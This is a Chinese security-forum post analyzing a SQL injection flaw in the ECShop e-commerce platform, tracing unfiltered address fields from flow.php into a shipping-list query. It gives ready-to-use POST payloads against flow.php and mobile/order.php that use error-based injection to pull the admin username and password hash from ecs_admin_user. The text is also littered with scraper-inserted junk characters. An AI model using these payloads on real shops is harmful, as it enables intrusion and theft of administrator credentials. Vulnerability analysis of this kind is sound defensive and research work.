找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2089|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
7 k. t4 Y- ~2 U; M/ l- ]. Q- u; w4 u9 D! n4 o* J" y
    漏洞关键文件:5 |! }# j" Y, t; @" [% P1 P
8 l0 A3 x9 V; x, G. K  H
    /includes/lib_order.php' w) D7 }' _8 a; Q

$ z! l( U: k  o  |; M0 m    关键函数:
% x% R" m& o$ ~9 r* |6 w( e; S* @9 x7 z. [; K

5 D0 e# W. D( d  H( o( f8 Q, Y& Z
, J. t2 {  j  s# L01     function available_shipping_list($region_id_list)
" F8 i9 W0 S! y/ X; ?1 P8 s2 r  }( L* f! G' k" a2 x& k4 p6 d8 |
02 { 5 w' k; [: [/ l; k$ Y; {8 k% o

  p: T  N! F+ M/ m* u, r7 e03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
! o) j! m: k( j8 J- p' H
) u1 S* R! P: \4 Z% q( r( e04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . / s/ S4 i/ a5 X2 ]

' d/ E) _2 ^8 K7 c; N05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . 3 I" C2 A. `. S) {: @

  |  y7 ?8 V  R! n& ~  D06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . 4 `5 \7 Q9 `! \4 y1 {. S2 m
8 [# F# V7 n+ C0 ^) M
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. + d5 R8 Q& K7 d- \1 p1 r
! c# `* T: ]; ~" {4 _7 J8 ^: s
08             'WHERE r.region_id ' . db_create_in($region_id_list) .
  k  H, C4 x" ]) M0 r+ u* q6 D$ ^2 Q) y  O! A7 s; ?: ~
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; ( |/ r, p% K% @6 `5 Z8 I( s

3 _7 t, {! y2 ?- b) k10   ( B2 I4 J0 T& L+ q8 K( I
, M/ A( Y1 K1 t% O4 k% A
11     return $GLOBALS['db']->getAll($sql); ( B* j; z5 N  j7 ]% d1 m# H' O: Y
5 |" x# @' l* W
12 } # [$ s* [7 B1 O& _) G2 q

2 P: X' V9 i4 I( C' h; ]显然对传入的参数没有任何过滤就带入了查询语句。5 F7 r* |$ G3 q+ L* h! u$ k

0 G4 {. Q7 l8 `$ n8 |下面我们追踪这个函数在flow.php中:
+ v5 j8 y+ @) Q/ e5 q: |/ c; i 第531行:   
* v7 @* d8 i! E9 }
4 B$ z( z/ M* _  H- u! z/ y1 $shipping_list     = available_shipping_list($region); 4 K1 `( w+ S8 b) g
! j+ J: a% J. o7 X* w/ z/ J

3 |( J. o; ^/ G
& D' n5 q; N1 Q0 A4 T 1 ?& R: m- c/ ~% E2 v9 M2 h# M' i

9 t* S+ x# @: B! a! B$ T8 |, T再对传入变量进行追踪:
9 V& I5 O9 }$ G& [! h) m( P& P5 a% ^1 a9 u' E/ Q+ X2 y
第530行:   
1 ?5 h  S* a% [- \8 ]6 X) s0 A; U* z
0 u4 f; _* g, m( R# p; ?/ E8 y1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
$ n5 V  [1 k  |+ m' |! h7 P
# ~  r) }  m- O1 T6 h: ?; l 0 c. F2 z" J$ t- N
9 d  p. m4 Z% o3 r- A7 X
$ W5 u1 C1 a* S. z  C: o8 t$ t, A
3 a7 n9 n  j2 f6 o; X& q
第473行:        
4 P  a& G4 |+ J; i! s6 L! C) e: D. U/ O
1 $consignee = get_consignee($_SESSION['user_id']);
3 ?) u- y! z  ~8 X& n
& m$ U& X) |2 d到了一个关键函数:# E1 {1 `, Z3 D# K+ x

% w+ r- u3 D+ E$ N' ^$ p8 N0 p/includes/lib_order.php
8 i& c, [0 O$ r, d- p9 t
+ h6 j! _0 D8 O$ ~/ p 9 f1 L9 z3 u' Z  t0 n

6 K8 `0 U4 h2 @9 S1 ? $ g9 a7 ]! o5 E, S" w2 q" ^$ G

; d9 ]1 d$ ^( R01 function get_consignee($user_id)
8 J* [9 B+ Y: O  ~' L
3 M# ]2 e9 {7 {$ x02 { 3 O+ D4 t6 u. |+ y' Y$ K2 _1 I
6 ]/ G4 `  b; S4 h6 G/ Z
03     if (isset($_SESSION['flow_consignee']))
# p9 J" G9 V2 y4 b* G8 i! H, S8 Z% U
04     {   c. @" P. @) P* g# r/ H
- ^" i, H2 ~9 Q
05         /* 如果存在session,则直接返回session中的收货人信息 */ % j0 p' l  E& w1 |# O7 d" I( r* F9 X0 c

% R/ T! _9 y* W- w4 B+ m06   ; d9 m$ }8 O6 W3 ?0 r9 G* p
% Y- @# x! y; M. E. b' P- i3 L( ?$ ?
07         return $_SESSION['flow_consignee']; 8 T5 ^5 S' k1 ~/ t" X+ D
" x1 h  e% d' I& v( T. `# r
08     } 0 c* X/ Q8 I- m3 c% W: a

# @2 [  {! ^( x/ k% A8 S09     else
/ y/ H% Y; ~1 k( \3 X1 r3 c; F' F6 F
10     { 0 P* k. B* H) H: q2 s. M+ M2 K
& L. R8 C; `' z
11         /* 如果不存在,则取得用户的默认收货人信息 */
7 @8 Y1 K  `6 ~: D) l% V" j; \1 i9 W0 H; e
12         $arr = array(); , h3 X6 F5 \  N! k( H0 X
7 o+ z- t* E. F
13   
: v; I6 |/ P. @, a3 M6 q/ w- o/ a
* K/ C2 {, {  O% N14         if ($user_id > 0) 0 O- R1 j! q! f% O+ Q) ^
* T" \. [' k  w$ [4 \6 }( L" J( i
15         { 6 z' x# I3 T) h
: m( G3 `' [8 y! R5 u. Z, ]/ k
16             /* 取默认地址 */ ; V) W& a8 z2 |
, \1 ^: I1 r0 R' M/ f" `
17             $sql = "SELECT ua.*".
& `# S' z8 b# Z4 s+ e5 S% u, v* N' n: k
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
6 `0 @4 W5 B8 p' {2 G; T6 F5 T  M7 O8 g2 G
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
. f& N  _% m. C8 q5 R& Q" W' D% _7 M7 b
20   
; J  Q. f0 N# n; S* c
% x0 a2 h: }5 y& N21             $arr = $GLOBALS['db']->getRow($sql);
+ f* J" e' r- `0 e- i; ?* k4 ~+ C8 N  e5 D# V
22         } : b) I5 ~0 L3 a  U

, I5 Y- G2 w7 ]2 d+ z23   
" T9 A: y4 _0 c1 l: p$ i& s6 ?, M. i4 A) G5 Y
24         return $arr;
9 O( l4 A) \/ K3 k! i) K( h# Z5 R4 W2 V7 a; [" J) A9 r( W
25     }
5 q+ X! O# ]; ~! c* o5 z! H2 |% d$ Y3 t
26 }
, z, n" S& N& Q$ w, O3 Z/ w  h1 {4 x' G- q( D% J
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?6 c  d- @+ J3 Q, ^7 g
# Q, A# S' ^6 b5 \" G- P

* P4 K1 Q1 I9 W6 H
  n  {8 g! `1 M5 y关键点:
3 n/ X; o% M3 K4 b
' S+ w* S: d: J" \" ~2 ?第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);/ L( {5 Q+ C% ^, C% y
7 {9 x8 s& `0 [' V- }
这里对传入参数反转义存入$_SESSION中。* ^# m/ O7 U0 \0 v; I
: q8 x* w! ~: y
" [; G9 X7 ~2 i

3 Z5 A5 h5 Y; y( Y然后看下:
% V3 Q0 @0 i: A$ h: ]8 ?1 p, n. T9 q1 p! \2 \
$ d6 T  C* I* R2 {

0 {' Q$ O2 M% U    ! {( E5 F$ c: t
0 e# Q: E% ]1 a4 a
01 $consignee = array(
# X! M- D# C8 t$ ~
" \. R6 S! x) N- x1 X; E02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']), " L; q# m" l7 y, k

: {# x: i. ^% T+ U' p7 o: E2 g03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
% J" e# K/ I0 M! B( {4 H: O: b- b2 h1 Y! z% k, v
04         'country'       => empty($_POST['country'])    ? '' _POST['country'], - C6 I- q' h$ J# }+ v" Q. ~
  x3 F4 n, B: U9 f" B, T0 T
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
0 B& k3 e) Z9 q% o7 k: W6 G, p6 W# T) K5 T, n7 S4 H
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
2 h- G+ |3 z& Y$ o+ M4 E
% M  d/ ?9 n9 k$ ^1 F' }6 ]/ L07         'district'      => empty($_POST['district'])   ? '' _POST['district'], " P3 n& ]8 p+ u5 K3 a& d
; u( ?; t8 x' R/ U
08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
5 ^5 \$ G5 _: J+ Z; \( q* [" \- k- a4 B
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
+ g' P8 S7 g" M/ A. p; _0 i3 ~. ^5 B* r( S' A0 m
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
9 c1 h$ s5 \4 y' P- n/ R; K* G
1 f/ M8 i; o( v$ O/ J) u/ U, X" @8 W9 D11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), $ ~. V; d: W! t7 ~. v
+ j& d) Q4 V2 z7 b' L  N
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), . B' K) j1 z% Y3 h8 X4 m' o

. Z2 N+ u# D8 [7 O13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], 4 `& X' W% G1 \. v: W' Q

2 G% ?! l/ c* ]7 i/ ~: ^14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
% q1 P  m, I0 h! R7 M. m' X9 Q. k+ Q, [' Z3 D( {3 }
15     ); 1 D; i1 R2 b2 e. _0 P& l
/ ~2 i2 I$ i  n+ z
好了注入就这样出现了。& a* A; g# |+ O, c  H" ?
, Y8 g0 R0 D+ f/ }1 S2 Y3 b
==================
: a# y0 S) Q$ R% t, o0 v: ~& B$ |. `" @7 O
注入测试:
1 |4 j- n  a5 Q+ x
3 J! t2 v0 Q6 H# B% {1 H环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
( Z) t% n& {" z7 k# _' h6 M; S, K. \
测试程序:ECShop_V2.7.3_UTF8_release1106* N9 W) A! R  Z

4 Z6 a' [+ R" y+ m/ q # l, y# U4 K5 E+ s

9 k# Y9 D8 d1 j1 e/ I* \1.首先需要点击一个商品加入购物车
2 p$ |3 S5 \9 v6 a5 Y& i# i
8 D/ v3 G7 u- P0 u5 j' e3 b6 n) g+ a# T2.注册一个会员帐号4 J9 `1 f) _  g* |
) M) Z5 [3 J5 V6 }$ s& i9 L
3.post提交数据& u) F+ Y- k7 Q5 H7 ~# a

7 d! B( \$ f, ]; I6 l
$ D2 c: P. @) }  e
3 [6 o0 K& G1 I, Z  {1 http://127.0.0.1/ecshop/flow.php
+ [" c6 J4 N* x( @1 Q& K7 i0 b1 w& T2 V/ S
2   
- d( |: b6 y; T) I
2 C/ D8 N! A$ J- u  P+ g3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
  x- q9 E+ d& ~4 u$ {' ~  C举一反三,我们根据这个漏洞我们可以继续深入挖掘:  w* v) u( [( [1 h- |. J0 q; e

8 a) b, D; E# F( ^. n我们搜寻关键函数function available_shipping_list()
+ Z  R+ W% W1 }- U( U7 s1 y! \, O: [8 ?$ {. d3 R. \
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同  b0 x) ^2 f7 |  y& o6 m/ Z
: ~* O. L! }) i5 P6 S7 u
利用exp:) {% L5 L) j( T5 [$ q$ k- P' d

3 R0 l0 f: ?. X8 t3 i; [1.点击一个商品,点击购买商标8 E& o7 Z2 [' p# l2 j$ Q- V/ J5 T! }

) q# E! |. p; q4 P* a8 t2.登录会员帐号
& f$ U- b7 j; E
) w  y' N0 j( j* U3.post提交:
( Z. Y, `" b7 D) w$ \4 T
! A5 n. G# Z4 H5 N1 k2 O' ihttp://127.0.0.1/ecshop/mobile/order.php
) z1 j" j0 @3 @, H2 M3 Y+ L- X( A7 s0 ^4 x: P' @& n6 T7 I

3 K& A7 I6 c: [) C3 o! ?% b0 Y& Q9 d" \
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=/ H. m: n; b/ k: ?

' B! u/ c" x- X. M; e# ?. q/ P
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表